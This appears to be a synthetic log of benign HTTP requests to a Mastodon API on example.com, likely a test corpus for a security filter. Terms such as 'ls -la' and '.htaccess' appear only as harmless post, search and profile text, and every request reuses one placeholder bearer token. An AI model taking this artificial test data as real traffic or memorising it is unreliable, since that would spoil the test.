{"method": "GET", "target": "/api/v2/search?q=ls+-la&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=.htaccess&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=.htaccess&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=.htaccess&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=.htaccess&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=alice%40remote.example&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%23python3&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%23python3&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=%23python3&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%23python3&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=https%3A%2F%2Fremote.example%2Fusers%2Falice%2Fnotes%2F1&resolve=true", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=alice%40remote.example", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 478", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=91bf3ec709c5454aa02bd19ca7fd0fbc"], "body": "--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of python3 in a terminal\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc--\r\n"}
{"method": "PUT", "target": "/api/v1/media/117589416080454640", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+python3"}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 480", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=b51aef01d0a24243aacb5ca58a07a3c9"], "body": "--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Shell ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of powershell in a terminal\r\n--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--b51aef01d0a24243aacb5ca58a07a3c9--\r\n"}
{"method": "PUT", "target": "/api/v1/media/117589416087224032", "headers": ["Host: example.com", "Content-Length: 43", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+powershell"}
{"method": "PUT", "target": "/api/v1/media/117589416092568321", "headers": ["Host: example.com", "Content-Length: 39", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+ls+-la"}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 484", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=5d3eb955c0434b74bef9478a9c5396b5"], "body": "--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of .htaccess in a terminal\r\n--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--5d3eb955c0434b74bef9478a9c5396b5--\r\n"}
{"method": "PUT", "target": "/api/v1/media/117589416097237149", "headers": ["Host: example.com", "Content-Length: 42", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+.htaccess"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 83", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 2a3fad6fe88f49499c3ec2aabef6ae12"], "body": "status=Today%3A+river+walk+%23python3&visibility=public&language=en&sensitive=false"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: f2b6ecb907c44769a068fd199e3bea4b"], "body": "{\"status\": \"More about river walk\", \"spoiler_text\": \"river walk details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 115", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 14f8af228405444e9a6ba7c13daf88be"], "body": "status=Today%3A+python3+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416080454640"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 111", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: cd7a83310465404c89bc54c8330183e1"], "body": "{\"status\": \"More about python3\", \"spoiler_text\": \"python3 details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 118", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: f35e02f998684f42b36e8aea999f7488"], "body": "status=Today%3A+powershell+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416087224032"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: c16a4009d56a4aefa24cc368b8ef1385"], "body": "{\"status\": \"More about powershell\", \"spoiler_text\": \"powershell details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 114", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 9c5c8eec473d4748a246603ad4461232"], "body": "status=Today%3A+ls+-la+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416092568321"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 109", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: eed10216ad8442bf8eca2b0504c6c5a8"], "body": "{\"status\": \"More about ls -la\", \"spoiler_text\": \"ls -la details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: d4c119baa943406787c967f827cfd7e4"], "body": "status=Today%3A+.htaccess+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416097237149"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 115", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: fbe1f4c915b04fa28eacf8cd27e94b18"], "body": "{\"status\": \"More about .htaccess\", \"spoiler_text\": \".htaccess details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 228", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=Which+do+you+use%3F&poll%5Boptions%5D%5B%5D=python3&poll%5Boptions%5D%5B%5D=powershell&poll%5Boptions%5D%5B%5D=ls+-la&poll%5Boptions%5D%5B%5D=.htaccess&poll%5Bexpires_in%5D=86400&poll%5Bmultiple%5D=false&visibility=public"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 90", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=%40bob+python3+or+powershell%3F&in_reply_to_id=117589416132420900&visibility=direct"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 100", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Thoughts on ls -la\", \"poll\": {\"options\": [\"python3\", \"powershell\"], \"expires_in\": 3600}}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 88", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Scheduled post about .htaccess\", \"scheduled_at\": \"2030-01-01T10:00:00.000Z\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589416132420900", "headers": ["Host: example.com", "Content-Length: 114", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Which one do you use? python3, powershell, ls -la or .htaccess\", \"spoiler_text\": \"\", \"language\": \"en\"}"}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/context", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/source", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/history", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/favourited_by", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/reblogged_by", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/favourite", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/reblog", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/bookmark", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/pin", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/unreblog", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/unpin", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/translate", "headers": ["Host: example.com", "Content-Length: 7", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "lang=en"}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "Content-Length: 1170", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=1ce86dc4368a42cfa98a3b4f593e0157"], "body": "--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"display_name\"\r\n\r\nAdmin python3\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"note\"\r\n\r\nWriting about powershell, ls -la and .htaccess\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[0][name]\"\r\n\r\nShell\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[0][value]\"\r\n\r\nls -la\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[1][name]\"\r\n\r\nBlog\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[1][value]\"\r\n\r\nhttps://example.org/python3\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"source[language]\"\r\n\r\nen\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"source[privacy]\"\r\n\r\npublic\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--1ce86dc4368a42cfa98a3b4f593e0157--\r\n"}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "Content-Length: 146", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "display_name=Admin+.htaccess&note=python3+and+powershell&fields_attributes%5B0%5D%5Bname%5D=python3&fields_attributes%5B0%5D%5Bvalue%5D=powershell"}
{"method": "POST", "target": "/api/v1/lists", "headers": ["Host: example.com", "Content-Length: 41", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+friends&replies_policy=list"}
{"method": "PUT", "target": "/api/v1/lists/1", "headers": ["Host: example.com", "Content-Length: 27", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=powershell+and+ls+-la"}
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/follow", "headers": ["Host: example.com", "Content-Length: 12", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "reblogs=true"}
{"method": "POST", "target": "/api/v1/lists/1/accounts", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "account_ids%5B%5D=117589325674471006"}
{"method": "GET", "target": "/api/v1/timelines/list/1", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v2/filters", "headers": ["Host: example.com", "Content-Length: 267", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+spam&context%5B%5D=home&context%5B%5D=public&filter_action=warn&keywords_attributes%5B%5D%5Bkeyword%5D=ls+-la&keywords_attributes%5B%5D%5Bkeyword%5D=.htaccess&keywords_attributes%5B%5D%5Bwhole_word%5D=true&keywords_attributes%5B%5D%5Bwhole_word%5D=false"}
{"method": "GET", "target": "/api/v1/accounts/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 42", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=Plain+words+today&visibility=public"}
{"method": "POST", "target": "/api/v2/filters", "headers": ["Host: example.com", "Content-Length: 267", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+spam&context%5B%5D=home&context%5B%5D=public&filter_action=warn&keywords_attributes%5B%5D%5Bkeyword%5D=ls+-la&keywords_attributes%5B%5D%5Bwhole_word%5D=true&keywords_attributes%5B%5D%5Bkeyword%5D=.htaccess&keywords_attributes%5B%5D%5Bwhole_word%5D=false"}
{"method": "POST", "target": "/api/v2/filters/1/keywords", "headers": ["Host: example.com", "Content-Length: 34", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "keyword=powershell&whole_word=true"}
{"method": "PUT", "target": "/api/v2/filters/1", "headers": ["Host: example.com", "Content-Length: 46", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"title\": \"python3 spam\", \"context\": [\"home\"]}"}
{"method": "POST", "target": "/api/v1/tags/python3/follow", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
